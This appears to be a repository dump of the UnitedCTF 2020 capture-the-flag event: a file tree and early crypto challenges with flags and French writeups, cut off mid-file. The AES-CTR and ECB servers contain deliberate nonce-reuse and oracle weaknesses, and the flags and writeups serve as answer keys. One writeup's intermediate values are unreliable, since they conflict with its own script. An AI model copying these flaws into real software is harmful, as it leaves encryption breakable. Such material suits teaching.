├── .gitignore ├── README.md ├── challenge.md.template ├── challenges ├── crypto │ ├── .gitkeep │ ├── aes-client │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── flag.py │ │ ├── requirements.txt │ │ ├── server.py │ │ ├── writeup.md │ │ └── writeup.py │ ├── aes-ctr │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── config │ │ ├── flag.py │ │ ├── requirements.txt │ │ ├── server.py │ │ └── writeup.md │ ├── aes-ecb-byte-per-byte │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── config │ │ ├── flag.py │ │ ├── requirements.txt │ │ ├── server.py │ │ ├── solve.py │ │ └── writeup.md │ ├── aes-ecb-cut-paste │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── config │ │ ├── flag.py │ │ ├── requirements.txt │ │ ├── server.py │ │ └── writeup.md │ ├── data-format │ │ ├── README.md │ │ ├── solve.py │ │ └── writeup.md │ ├── julius │ │ ├── README.md │ │ └── writeup.md │ ├── vigenere │ │ ├── README.md │ │ └── writeup.md │ └── xor1 │ │ ├── README.md │ │ └── writeup.md ├── docker-compose.yml ├── forensics │ ├── .gitkeep │ ├── binwalk │ │ ├── README.md │ │ └── opentx-tx16s-en.zip │ ├── requin_centre_1 │ │ ├── README.md │ │ ├── requin_au_centre.pcapng │ │ └── writeup.md │ ├── requin_centre_2 │ │ ├── README.md │ │ ├── follow.png │ │ ├── seq.png │ │ └── writeup.md │ ├── requin_centre_3 │ │ ├── README.md │ │ ├── basic-auth.png │ │ └── writeup.md │ ├── requin_centre_4 │ │ ├── README.md │ │ ├── export.png │ │ ├── flags.jpg │ │ └── writeup.md │ ├── volatility-1 │ │ ├── README.md │ │ └── writeup.md │ ├── volatility-2 │ │ ├── README.md │ │ └── writeup.md │ ├── volatility-3 │ │ ├── README.md │ │ ├── desktop.png │ │ └── writeup.md │ └── volatility-4 │ │ ├── README.md │ │ └── writeup.md ├── git │ └── git-intro │ │ ├── README.md │ │ ├── git-intro.zip │ │ └── writeup.md ├── misc │ └── .gitkeep ├── programming │ ├── .gitkeep │ ├── captcha-reader │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── Roboto-Regular.ttf │ │ ├── random.png │ │ ├── requirements.txt │ │ ├── server.py │ │ └── writeup.py │ ├── hash-breaker │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── server.py │ │ └── writeup.py │ ├── init-json │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── flag.py │ │ ├── requirements.txt │ │ ├── server.py │ │ ├── writeup.md │ │ └── writeup.py │ ├── init-socket │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── flag.py │ │ ├── requirements.txt │ │ ├── server.py │ │ ├── writeup.md │ │ └── writeup.py │ ├── maze │ │ ├── .gitignore │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── flag.py │ │ ├── generate.py │ │ ├── requirements.txt │ │ ├── server.py │ │ ├── writeup.md │ │ └── writeup.py │ └── solve-math │ │ ├── Dockerfile │ │ ├── README.md │ │ ├── server.py │ │ └── writeup.py ├── pwning │ ├── .gitkeep │ ├── la_goutte │ │ ├── Dockerfile │ │ ├── Makefile │ │ ├── README.md │ │ ├── la_goutte │ │ ├── la_goutte.c │ │ ├── la_goutte_public │ │ ├── la_goutte_public.c │ │ ├── writeup.md │ │ └── xinetd │ ├── la_molecule │ │ ├── Dockerfile │ │ ├── Makefile │ │ ├── README.md │ │ ├── la_molecule │ │ ├── la_molecule.c │ │ ├── writeup.md │ │ └── xinetd │ ├── le_lac │ │ ├── Dockerfile │ │ ├── Makefile │ │ ├── README.md │ │ ├── flag │ │ ├── le_lac │ │ ├── le_lac.c │ │ ├── le_lac_public │ │ ├── solve.py │ │ ├── writeup.md │ │ └── xinetd │ └── le_ruisseau │ │ ├── Dockerfile │ │ ├── Makefile │ │ ├── README.md │ │ ├── le_ruisseau │ │ ├── le_ruisseau.c │ │ ├── le_ruisseau_public │ │ ├── writeup.md │ │ └── xinetd ├── reverse │ ├── .gitkeep │ ├── README.md │ ├── crackme │ │ ├── README.md │ │ ├── crackme │ │ ├── main.c │ │ └── makefile │ ├── goland │ │ ├── README.md │ │ ├── boss │ │ ├── main.go │ │ └── makefile │ ├── one-time-pad │ │ ├── README.md │ │ ├── flagbuilder.py │ │ ├── main.c │ │ ├── makefile │ │ └── onetimepad │ ├── passwordcheck │ │ ├── README.md │ │ ├── main.c │ │ ├── makefile │ │ └── passwordcheck │ ├── stringsmeout │ │ ├── README.md │ │ ├── main.c │ │ ├── makefile │ │ └── stringsmeout │ ├── stringstacking │ │ ├── README.md │ │ ├── main.c │ │ ├── makefile │ │ └── stringstacking │ ├── tooslow │ │ ├── README.md │ │ ├── main.cpp │ │ ├── makefile │ │ ├── nosleep.c │ │ └── tooslow │ ├── usegdb │ │ ├── README.md │ │ ├── main.cpp │ │ ├── makefile │ │ └── usegdb │ └── useghidra │ │ ├── README.md │ │ ├── flagbuilder.py │ │ ├── main.c │ │ ├── makefile │ │ └── useghidra ├── sysadmin │ ├── README.md │ ├── base │ │ └── Dockerfile │ ├── flag-skel │ │ ├── .dockerignore │ │ ├── .env │ │ ├── Dockerfile │ │ ├── build.js │ │ └── root │ │ │ ├── home │ │ │ └── $[USER] │ │ │ │ ├── .bash_logout │ │ │ │ ├── .bashrc │ │ │ │ └── .hushlogin │ │ │ └── perms.sh │ ├── flag0 │ │ ├── .dockerignore │ │ ├── .env │ │ ├── Dockerfile │ │ ├── build.js │ │ └── root │ │ │ ├── entrypoint.sh │ │ │ ├── home │ │ │ └── $[USER] │ │ │ │ ├── .bashrc │ │ │ │ └── .hushlogin │ │ │ └── perms.sh │ ├── flag1 │ │ ├── .dockerignore │ │ ├── .env │ │ ├── Dockerfile │ │ ├── build.js │ │ └── root │ │ │ ├── entrypoint.sh │ │ │ ├── home │ │ │ └── $[USER] │ │ │ │ ├── .bash_logout │ │ │ │ ├── .bashrc │ │ │ │ └── .hushlogin │ │ │ └── perms.sh │ ├── flag10 │ │ ├── .dockerignore │ │ ├── .env │ │ ├── Dockerfile │ │ ├── build.js │ │ └── root │ │ │ ├── elevate.sh │ │ │ ├── etc │ │ │ └── sudoers.d │ │ │ │ └── $[USER] │ │ │ ├── home │ │ │ ├── $[USER] │ │ │ │ ├── .bash_logout │ │ │ │ ├── .bashrc │ │ │ │ └── .hushlogin │ │ │ └── superuser │ │ │ │ ├── .bash_logout │ │ │ │ ├── .bashrc │ │ │ │ ├── .hushlogin │ │ │ │ └── secret │ │ │ └── perms.sh │ ├── flag2 │ │ ├── .dockerignore │ │ ├── .env │ │ ├── Dockerfile │ │ ├── build.js │ │ └── root │ │ │ ├── home │ │ │ └── $[USER] │ │ │ │ ├── .bash_logout │ │ │ │ ├── .bashrc │ │ │ │ └── .hushlogin │ │ │ └── perms.sh │ ├── flag3 │ │ ├── .dockerignore │ │ ├── .env │ │ ├── Dockerfile │ │ ├── build.js │ │ └── root │ │ │ ├── home │ │ │ └── $[USER] │ │ │ │ ├── .bash_logout │ │ │ │ ├── .bashrc │ │ │ │ └── .hushlogin │ │ │ └── perms.sh │ ├── flag4 │ │ ├── .dockerignore │ │ ├── .env │ │ ├── Dockerfile │ │ ├── build.js │ │ └── root │ │ │ ├── home │ │ │ └── $[USER] │ │ │ │ ├── .bash_logout │ │ │ │ ├── .bashrc │ │ │ │ ├── .flag │ │ │ │ └── .hushlogin │ │ │ └── perms.sh │ ├── flag5 │ │ ├── .dockerignore │ │ ├── .env │ │ ├── Dockerfile │ │ ├── build.js │ │ └── root │ │ │ ├── home │ │ │ ├── $[USER] │ │ │ │ ├── .bash_logout │ │ │ │ ├── .bashrc │ │ │ │ └── .hushlogin │ │ │ └── secretuser │ │ │ │ ├── .bash_logout │ │ │ │ ├── .bashrc │ │ │ │ ├── .hushlogin │ │ │ │ └── secret │ │ │ └── perms.sh │ ├── flag6 │ │ ├── .dockerignore │ │ ├── .env │ │ ├── Dockerfile │ │ ├── build.js │ │ └── root │ │ │ ├── home │ │ │ └── $[USER] │ │ │ │ ├── .bash_logout │ │ │ │ ├── .bashrc │ │ │ │ └── .hushlogin │ │ │ └── perms.sh │ ├── flag7 │ │ ├── .dockerignore │ │ ├── .env │ │ ├── Dockerfile │ │ ├── build.js │ │ └── root │ │ │ ├── etc │ │ │ └── sudoers.d │ │ │ │ └── $[USER] │ │ │ ├── home │ │ │ ├── $[USER] │ │ │ │ ├── .bash_logout │ │ │ │ ├── .bashrc │ │ │ │ └── .hushlogin │ │ │ └── superuser │ │ │ │ ├── .bash_logout │ │ │ │ ├── .bashrc │ │ │ │ ├── .hushlogin │ │ │ │ └── secret.sh │ │ │ └── perms.sh │ ├── flag8 │ │ ├── .dockerignore │ │ ├── .env │ │ ├── Dockerfile │ │ ├── build.js │ │ └── root │ │ │ ├── etc │ │ │ └── sudoers.d │ │ │ │ └── $[USER] │ │ │ ├── home │ │ │ └── $[USER] │ │ │ │ ├── .bash_logout │ │ │ │ ├── .bashrc │ │ │ │ └── .hushlogin │ │ │ ├── keyrecv.c │ │ │ ├── keysend.c │ │ │ └── perms.sh │ ├── flag9 │ │ ├── .dockerignore │ │ ├── .env │ │ ├── Dockerfile │ │ ├── build.js │ │ └── root │ │ │ ├── etc │ │ │ └── sudoers.d │ │ │ │ └── $[USER] │ │ │ ├── home │ │ │ ├── $[USER] │ │ │ │ ├── .bash_logout │ │ │ │ ├── .bashrc │ │ │ │ └── .hushlogin │ │ │ └── secretuser │ │ │ │ ├── .bash_logout │ │ │ │ ├── .bashrc │ │ │ │ ├── .hushlogin │ │ │ │ └── rotatekeys.sh │ │ │ └── perms.sh │ ├── privkey.pem │ └── spawner │ │ ├── .dockerignore │ │ ├── .env │ │ ├── Dockerfile │ │ ├── build.js │ │ └── root │ │ ├── entrypoint.sh │ │ ├── etc │ │ ├── ssh │ │ │ ├── ssh_host_dsa_key │ │ │ ├── ssh_host_dsa_key.pub │ │ │ ├── ssh_host_ecdsa_key │ │ │ ├── ssh_host_ecdsa_key.pub │ │ │ ├── ssh_host_ed25519_key │ │ │ ├── ssh_host_ed25519_key.pub │ │ │ ├── ssh_host_rsa_key │ │ │ ├── ssh_host_rsa_key.pub │ │ │ └── sshd_config │ │ └── sudoers.d │ │ │ └── spawner │ │ ├── forward-to-docker.sh │ │ ├── perms.sh │ │ └── spawner.sh └── web │ ├── .gitkeep │ ├── JavaScript │ ├── Dockerfile │ ├── README.md │ ├── login-2-source.html │ ├── src │ │ ├── index.html │ │ ├── login-1.html │ │ └── login-2.html │ └── writeup.md │ ├── cmd-injection │ ├── Dockerfile │ ├── README.md │ ├── app.py │ ├── flag │ ├── requirements.txt │ ├── static │ │ └── style.css │ ├── templates │ │ ├── code.html │ │ └── index.html │ └── writeup.md │ ├── invoicer │ ├── Dockerfile │ ├── README.md │ ├── WRITEUP.md │ ├── application │ │ ├── .gitignore │ │ ├── .ruby-version │ │ ├── Gemfile │ │ ├── Gemfile.lock │ │ ├── Rakefile │ │ ├── app │ │ │ ├── assets │ │ │ │ ├── config │ │ │ │ │ └── manifest.js │ │ │ │ ├── images │ │ │ │ │ ├── .keep │ │ │ │ │ └── help_center │ │ │ │ │ │ ├── password_reset.gif │ │ │ │ │ │ ├── password_reset_email.png │ │ │ │ │ │ ├── password_reset_update_password.gif │ │ │ │ │ │ └── search_invoices.gif │ │ │ │ ├── javascripts │ │ │ │ │ └── application.js │ │ │ │ └── stylesheets │ │ │ │ │ ├── application.css │ │ │ │ │ ├── help_center.scss │ │ │ │ │ ├── invoices.scss │ │ │ │ │ ├── pages.scss │ │ │ │ │ ├── password_resets.scss │ │ │ │ │ ├── sessions.scss │ │ │ │ │ └── users.scss │ │ │ ├── controllers │ │ │ │ ├── application_controller.rb │ │ │ │ ├── concerns │ │ │ │ │ └── .keep │ │ │ │ ├── help_center_controller.rb │ │ │ │ ├── invoices_controller.rb │ │ │ │ ├── pages_controller.rb │ │ │ │ ├── password_resets_controller.rb │ │ │ │ ├── sessions_controller.rb │ │ │ │ └── users_controller.rb │ │ │ ├── helpers │ │ │ │ ├── application_helper.rb │ │ │ │ ├── help_center_helper.rb │ │ │ │ ├── invoices_helper.rb │ │ │ │ ├── pages_helper.rb │ │ │ │ ├── password_resets_helper.rb │ │ │ │ ├── sessions_helper.rb │ │ │ │ └── users_helper.rb │ │ │ ├── jobs │ │ │ │ └── application_job.rb │ │ │ ├── models │ │ │ │ ├── application_record.rb │ │ │ │ ├── concerns │ │ │ │ │ └── .keep │ │ │ │ ├── invoice.rb │ │ │ │ ├── super_hidden_secret_feature.rb │ │ │ │ └── user.rb │ │ │ └── views │ │ │ │ ├── help_center │ │ │ │ ├── home.html.erb │ │ │ │ ├── password_reset.html.erb │ │ │ │ └── search_invoice.html.erb │ │ │ │ ├── invoices │ │ │ │ ├── create.html.erb │ │ │ │ ├── index.html.erb │ │ │ │ ├── new.html.erb │ │ │ │ ├── public.html.erb │ │ │ │ └── show.html.erb │ │ │ │ ├── layouts │ │ │ │ ├── application.html.erb │ │ │ │ ├── help_center.html.erb │ │ │ │ └── public.html.erb │ │ │ │ ├── pages │ │ │ │ └── metrics.html.erb │ │ │ │ ├── password_resets │ │ │ │ ├── edit.html.erb │ │ │ │ └── new.html.erb │ │ │ │ ├── sessions │ │ │ │ └── new.html.erb │ │ │ │ └── users │ │ │ │ ├── edit.html.erb │ │ │ │ └── new.html.erb │ │ ├── bin │ │ │ ├── bundle │ │ │ ├── rails │ │ │ ├── rake │ │ │ ├── setup │ │ │ └── spring │ │ ├── config.ru │ │ ├── config │ │ │ ├── application.rb │ │ │ ├── boot.rb │ │ │ ├── credentials.yml.enc │ │ │ ├── database.yml │ │ │ ├── environment.rb │ │ │ ├── environments │ │ │ │ ├── development.rb │ │ │ │ ├── production.rb │ │ │ │ └── test.rb │ │ │ ├── initializers │ │ │ │ ├── application_controller_renderer.rb │ │ │ │ ├── assets.rb │ │ │ │ ├── backtrace_silencers.rb │ │ │ │ ├── content_security_policy.rb │ │ │ │ ├── cookies_serializer.rb │ │ │ │ ├── filter_parameter_logging.rb │ │ │ │ ├── inflections.rb │ │ │ │ ├── mime_types.rb │ │ │ │ └── wrap_parameters.rb │ │ │ ├── locales │ │ │ │ └── en.yml │ │ │ ├── master.key │ │ │ ├── puma.rb │ │ │ ├── routes.rb │ │ │ └── spring.rb │ │ ├── db │ │ │ ├── migrate │ │ │ │ ├── 20200916130631_create_users.rb │ │ │ │ ├── 20200916133012_create_invoices.rb │ │ │ │ ├── 20200916142658_change_default_value_for_demo_in_users.rb │ │ │ │ ├── 20200916175604_rename_reset_password_to_password_reset_in_users.rb │ │ │ │ ├── 20200916175742_add_index_to_password_reset_token_in_users.rb │ │ │ │ ├── 20200918125904_create_super_hidden_secret_features.rb │ │ │ │ ├── 20200918133554_remove_bio_in_users.rb │ │ │ │ └── 20200918145937_add_index_unique_to_name_in_users.rb │ │ │ ├── schema.rb │ │ │ └── seeds.rb │ │ ├── lib │ │ │ ├── assets │ │ │ │ └── .keep │ │ │ └── tasks │ │ │ │ └── .keep │ │ ├── log │ │ │ └── .keep │ │ ├── public │ │ │ ├── 404.html │ │ │ ├── 422.html │ │ │ ├── 500.html │ │ │ ├── apple-touch-icon-precomposed.png │ │ │ ├── apple-touch-icon.png │ │ │ ├── favicon.ico │ │ │ └── robots.txt │ │ ├── tmp │ │ │ ├── .keep │ │ │ └── pids │ │ │ │ └── .keep │ │ └── vendor │ │ │ └── .keep │ ├── entrypoint.sh │ └── script.rb │ ├── sqli │ ├── README0.md │ ├── README1.md │ ├── README2.md │ ├── README3.md │ ├── README4.md │ ├── sqli_db │ │ ├── .env │ │ ├── Dockerfile │ │ ├── db.env │ │ ├── init_env.sh │ │ └── init_sql │ │ │ ├── sql_init_challenge0.sql │ │ │ ├── sql_init_challenge1.sql │ │ │ ├── sql_init_challenge2.sql │ │ │ ├── sql_init_challenge3.sql │ │ │ └── sql_init_challenge4.sql │ ├── sqli_web │ │ ├── Dockerfile │ │ └── src │ │ │ ├── challenge0.php │ │ │ ├── challenge1.php │ │ │ ├── challenge2.php │ │ │ ├── challenge3.php │ │ │ ├── challenge4.php │ │ │ ├── css │ │ │ ├── bootstrap.min.css │ │ │ └── bootstrap.min.css.map │ │ │ ├── includes │ │ │ ├── chal0.php │ │ │ ├── chal1.php │ │ │ ├── chal2.php │ │ │ ├── chal3.php │ │ │ ├── chal4.php │ │ │ └── mysql_connection.php │ │ │ └── js │ │ │ ├── bootstrap.min.js │ │ │ ├── bootstrap.min.js.map │ │ │ └── jquery.min.js │ ├── writeup0.md │ ├── writeup1.md │ ├── writeup2.md │ ├── writeup3.md │ ├── writeup3.py │ ├── writeup4.md │ └── writeup4.py │ ├── vous-pensez-passer-vos-intras │ ├── Dockerfile │ ├── Dockerfile.bak.bak │ ├── Makefile │ ├── README.md │ ├── create_db.sql │ ├── pom.xml │ ├── run.sh │ └── src │ │ └── main │ │ ├── java │ │ └── com │ │ │ └── filter │ │ │ ├── controller │ │ │ ├── Api.java │ │ │ └── Public_Api.java │ │ │ ├── filterconfig │ │ │ └── FirstFilter.java │ │ │ └── mainexample │ │ │ └── SpringMainExample.java │ │ └── webapp │ │ └── WEB-INF │ │ └── index.jsp │ └── web-101 │ ├── Dockerfile │ ├── README.md │ ├── WRITEUP.md │ └── src │ ├── 013b65adf5580e21.json │ ├── index.php │ ├── robots.txt │ ├── secret-stuff-only-for-admin-stuff │ ├── index.php │ └── test.php │ └── this-is-the-secret-flag-3.txt ├── logo.png └── ping.sh /.gitignore: -------------------------------------------------------------------------------- 1 | **/node_modules 2 | *.orig 3 | .DS_Store 4 | .idea 5 | *.pyc 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![logo](./logo.png) 2 | 3 | # UnitedCTF 2020 4 | 5 | - Flag format: `/FLAG-.*/` 6 | - Language: 7 | - Description: french 8 | - Challenge: french or english 9 | -------------------------------------------------------------------------------- /challenge.md.template: -------------------------------------------------------------------------------- 1 | # {{ challenge name }} 2 | 3 | > {{ challenge category }} 4 | 5 | Author: {{ challenge author GitHub handle link }} 6 | 7 | {{ challenge description }} 8 | 9 | ## Setup 10 | 11 | Requirements: 12 | - docker 13 | 14 | Start: 15 | 16 | ```shell 17 | docker-compose up 18 | ``` 19 | -------------------------------------------------------------------------------- /challenges/crypto/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2020/d139546828bda0f6f351f5034d1e22c2b459c6e1/challenges/crypto/.gitkeep -------------------------------------------------------------------------------- /challenges/crypto/aes-client/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.6 2 | 3 | RUN mkdir /app 4 | WORKDIR /app 5 | 6 | COPY ./requirements.txt /app/requirements.txt 7 | RUN pip3 install -r /app/requirements.txt 8 | 9 | COPY ./server.py /app/server.py 10 | COPY ./flag.py /app/flag.py 11 | 12 | ENTRYPOINT [ "python3", "server.py" ] 13 | -------------------------------------------------------------------------------- /challenges/crypto/aes-client/flag.py: -------------------------------------------------------------------------------- 1 | flag = "FLAG-0d4c39fa0c7c1d167d4bd20064a6053f" -------------------------------------------------------------------------------- /challenges/crypto/aes-client/requirements.txt: -------------------------------------------------------------------------------- 1 | names 2 | pycrypto -------------------------------------------------------------------------------- /challenges/crypto/aes-client/writeup.md: -------------------------------------------------------------------------------- 1 | # Write-up 2 | 3 | Voir le fichier `writeup.py`. -------------------------------------------------------------------------------- /challenges/crypto/aes-ctr/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | RUN apt-get -y update 3 | RUN apt-get -y install xinetd vim net-tools python3 python3-pip 4 | RUN useradd challenge 5 | RUN mkdir /app 6 | 7 | WORKDIR /app 8 | 9 | COPY ./config /etc/xinetd.d/pwn 10 | COPY ./server.py /app/server.py 11 | COPY ./flag.py /app/flag.py 12 | COPY ./requirements.txt /app/requirements.txt 13 | 14 | RUN pip3 install -r requirements.txt 15 | 16 | CMD ["/usr/sbin/xinetd", "-dontfork"] -------------------------------------------------------------------------------- /challenges/crypto/aes-ctr/config: -------------------------------------------------------------------------------- 1 | service aesctr 2 | { 3 | type = unlisted 4 | protocol = tcp 5 | wait = no 6 | port = 3000 7 | user = challenge 8 | server = /app/server.py 9 | } -------------------------------------------------------------------------------- /challenges/crypto/aes-ctr/flag.py: -------------------------------------------------------------------------------- 1 | flag = "FLAG-2b38737dbe6bdbc0db6d35c9689e5155" -------------------------------------------------------------------------------- /challenges/crypto/aes-ctr/requirements.txt: -------------------------------------------------------------------------------- 1 | names 2 | pycryptodome -------------------------------------------------------------------------------- /challenges/crypto/aes-ctr/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import struct 4 | import sys 5 | 6 | from Crypto import Random 7 | from Crypto.Cipher import AES 8 | 9 | import flag 10 | 11 | 12 | def counter(nonce): 13 | count = 0 14 | 15 | while True: 16 | count_bytes = struct.pack('>Q', count) 17 | count += 1 18 | yield nonce + count_bytes 19 | 20 | 21 | if __name__ == '__main__': 22 | key = Random.get_random_bytes(16) 23 | nonce = Random.get_random_bytes(8) 24 | 25 | while True: 26 | print("""CTR Crypto Menu 27 | 1. Encrypt flag 28 | 2. Encrypt data 29 | 3. Exit 30 | """) 31 | choice = input("> Your choice: ").strip() 32 | 33 | if choice not in "123" or choice == "": 34 | print("Invalid choice.") 35 | continue 36 | 37 | if choice == "3": 38 | print("Goodbye!") 39 | break 40 | 41 | if choice == "1": 42 | aes = AES.new(key, AES.MODE_CTR, nonce = nonce, initial_value = 0) 43 | data = flag.flag 44 | elif choice == "2": 45 | aes = AES.new(key, AES.MODE_CTR, nonce = nonce, initial_value = 0) 46 | data = input("> Data to encrypt: ") 47 | 48 | print(f"Result: {aes.encrypt(data.encode()).hex()}") -------------------------------------------------------------------------------- /challenges/crypto/aes-ecb-byte-per-byte/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | RUN apt-get -y update 3 | RUN apt-get -y install xinetd vim net-tools python3 python3-pip 4 | RUN useradd challenge 5 | RUN mkdir /app 6 | 7 | WORKDIR /app 8 | 9 | COPY ./config /etc/xinetd.d/pwn 10 | COPY ./server.py /app/server.py 11 | COPY ./flag.py /app/flag.py 12 | COPY ./requirements.txt /app/requirements.txt 13 | 14 | RUN pip3 install -r requirements.txt 15 | 16 | CMD ["/usr/sbin/xinetd", "-dontfork"] 17 | -------------------------------------------------------------------------------- /challenges/crypto/aes-ecb-byte-per-byte/config: -------------------------------------------------------------------------------- 1 | service aesecbbyteperbyte 2 | { 3 | type = unlisted 4 | protocol = tcp 5 | wait = no 6 | port = 3000 7 | user = challenge 8 | server = /app/server.py 9 | } 10 | -------------------------------------------------------------------------------- /challenges/crypto/aes-ecb-byte-per-byte/flag.py: -------------------------------------------------------------------------------- 1 | flag = "FLAG-bac9317ceaf52147983c56" 2 | -------------------------------------------------------------------------------- /challenges/crypto/aes-ecb-byte-per-byte/requirements.txt: -------------------------------------------------------------------------------- 1 | pycryptodome 2 | -------------------------------------------------------------------------------- /challenges/crypto/aes-ecb-byte-per-byte/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from Crypto import Random 4 | from Crypto.Cipher import AES 5 | from Crypto.Util.Padding import pad, unpad 6 | 7 | import flag 8 | 9 | 10 | if __name__ == '__main__': 11 | key = Random.get_random_bytes(16) 12 | aes = AES.new(key, AES.MODE_ECB) 13 | 14 | while True: 15 | print("""ECB Crypto Menu 16 | 1. Encrypt flag 17 | 2. Encrypt flag (hex name) 18 | 3. Exit 19 | """) 20 | choice = input("> Your choice: ").strip() 21 | 22 | if choice not in "123" or choice == "": 23 | print("Invalid choice.") 24 | continue 25 | 26 | if choice == "1": 27 | name = input("> Please enter your name: ").encode() 28 | 29 | if choice == "2": 30 | name = bytes.fromhex(input("> Please enter your name (hex format): ")) 31 | 32 | if choice == "3": 33 | print("Goodbye!") 34 | break 35 | 36 | data = name + flag.flag.encode() 37 | print(f"Result: {aes.encrypt(pad(data, 16)).hex()}") 38 | -------------------------------------------------------------------------------- /challenges/crypto/aes-ecb-cut-paste/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:18.04 2 | RUN apt-get -y update 3 | RUN apt-get -y install xinetd vim net-tools python3 python3-pip 4 | RUN useradd challenge 5 | RUN mkdir /app 6 | 7 | WORKDIR /app 8 | 9 | COPY ./config /etc/xinetd.d/pwn 10 | COPY ./server.py /app/server.py 11 | COPY ./flag.py /app/flag.py 12 | COPY ./requirements.txt /app/requirements.txt 13 | 14 | RUN pip3 install -r requirements.txt 15 | 16 | CMD ["/usr/sbin/xinetd", "-dontfork"] -------------------------------------------------------------------------------- /challenges/crypto/aes-ecb-cut-paste/config: -------------------------------------------------------------------------------- 1 | service aesctr 2 | { 3 | type = unlisted 4 | protocol = tcp 5 | wait = no 6 | port = 3000 7 | user = challenge 8 | server = /app/server.py 9 | } -------------------------------------------------------------------------------- /challenges/crypto/aes-ecb-cut-paste/flag.py: -------------------------------------------------------------------------------- 1 | flag = "FLAG-32c2a2f6befcf9bb7ad9e9e359e550b2" -------------------------------------------------------------------------------- /challenges/crypto/aes-ecb-cut-paste/requirements.txt: -------------------------------------------------------------------------------- 1 | pycryptodome 2 | -------------------------------------------------------------------------------- /challenges/crypto/data-format/README.md: -------------------------------------------------------------------------------- 1 | # Data Format 2 | 3 | > Crypto 4 | 5 | Author: @xshill 6 | 7 | Les formats hexadécimal et base64 sont souvent utilisés pour afficher des informations dans un format lisible et utilisable dans des protocoles en texte clair. Pour ce challenge, apprenez à utiliser ces formats et faites la concaténation suivante: 8 | 9 | `DECODE_HEX("464c4147") + DECODE_BASE64("LTQ5NGM2Zjc2NjU0NDYxNw==") + ENCODE_BASE64("461466f72") + ENCODE_HEX("6174730a")` 10 | 11 | ## Setup 12 | 13 | Requirements: 14 | - None 15 | 16 | Start: 17 | 18 | ``` 19 | (Not an interactive challenge) 20 | ``` 21 | -------------------------------------------------------------------------------- /challenges/crypto/data-format/solve.py: -------------------------------------------------------------------------------- 1 | import base64 2 | 3 | a = bytes.fromhex("464c4147").decode() 4 | b = base64.b64decode("LTQ5NGM2Zjc2NjU0NDYxNw==").decode() 5 | c = base64.b64encode(b"461466f72").decode() 6 | d = b"6174730a".hex() 7 | print(a + b + c + d) 8 | -------------------------------------------------------------------------------- /challenges/crypto/data-format/writeup.md: -------------------------------------------------------------------------------- 1 | # Writeup 2 | 3 | Il est possible de réaliser chacune de ces opérations facilement avec CyberChef, avec To Hex, From Hex, To Base64, From Base64. 4 | 5 | DECODE_HEX("464c4147") == "FLAG" 6 | DECODE_BASE64("LTQ5NGM2Zjc2NjU0NDYxNw==") == "-494c6f766544617" 7 | ENCODE_BASE64("461466f72") == "NDYxNDY2ZjcyNmQK" 8 | ENCODE_HEX("6174730a") == "36313734373330610a" 9 | 10 | Solution alternative: écrire un script python qui résout le challenge: 11 | 12 | ```python 13 | import base64 14 | 15 | a = bytes.fromhex("464c4147").decode() 16 | b = base64.b64decode("LTQ5NGM2Zjc2NjU0NDYxNw==").decode() 17 | c = base64.b64encode(b"461466f72").decode() 18 | d = b"6174730a".hex() 19 | print(a + b + c + d) 20 | ``` 21 | 22 | Réponse: FLAG-494c6f766544617NDYxNDY2Zjcy3631373437333061 23 | -------------------------------------------------------------------------------- /challenges/crypto/julius/README.md: -------------------------------------------------------------------------------- 1 | # Julius's Flag 2 | 3 | > Crypto 4 | 5 | Author: @xshill 6 | 7 | Le chiffre de César était utilisé entre autres par Jules César pour chiffrer des messages militaires. Pouvez-vous accomplir ce que ses ennemis ne réussissaient pas à faire? 8 | 9 | Voici le message à déchiffrer: 10 | 11 | ``` 12 | IODJ-YHQLYLGLYLFL 13 | ``` 14 | 15 | ## Setup 16 | 17 | Requirements: 18 | - None 19 | 20 | Start: 21 | 22 | ``` 23 | (Not an interactive challenge) 24 | ``` 25 | -------------------------------------------------------------------------------- /challenges/crypto/julius/writeup.md: -------------------------------------------------------------------------------- 1 | # Writeup 2 | 3 | Le chiffre de César original utilisait un alphabet décalé de trois lettres. On a donc la correspondance suivante: 4 | 5 | ``` 6 | A - D 7 | B - E 8 | C - F 9 | D - G 10 | E - H 11 | F - I 12 | G - J 13 | H - K 14 | I - L 15 | J - M 16 | K - N 17 | L - O 18 | M - P 19 | N - Q 20 | O - R 21 | P - S 22 | Q - T 23 | R - U 24 | S - V 25 | T - W 26 | U - X 27 | V - Y 28 | W - Z 29 | X - A 30 | Y - B 31 | Z - C 32 | ``` 33 | 34 | Pour déchiffrer, il faut prendre chaque caractère du flag, partir de la colonne de droite et se rendre à la colonne de gauche: 35 | - `I` devient `F` 36 | - `O` devient `L` 37 | - `D` devient `A` 38 | - `J` devient `G` 39 | - `-` reste identique 40 | - `Y` devient `V` 41 | - `H` devient `E` 42 | 43 | Ainsi de suite, jusqu'à ce qu'on ait le flag complet: `FLAG-VENIVIDIVICI`. -------------------------------------------------------------------------------- /challenges/crypto/vigenere/README.md: -------------------------------------------------------------------------------- 1 | # Vigenère 2 | 3 | > Crypto 4 | 5 | Author: @xshill 6 | 7 | Il aura fallu attendre le 16e siècle pour obtenir cette amélioration au chiffre de César. On peut le voir comme une combinaison de plusieurs chiffres de César, dont la rotation effectuée pour chaque caractère dépend d'une clé secrète. 8 | 9 | Le flag pour ce challenge a été chiffré avec Vigenère et une clé de 4 caractères. Pouvez-vous le décrypter sans connaître la clé? 10 | 11 | `JKPF-GZTREQVNXMDSLHCFSMIGMR` 12 | 13 | Un indice: le flag format est `FLAG-...` 14 | 15 | ## Setup 16 | 17 | Requirements: 18 | - None 19 | 20 | Start: 21 | 22 | ``` 23 | (Not an interactive 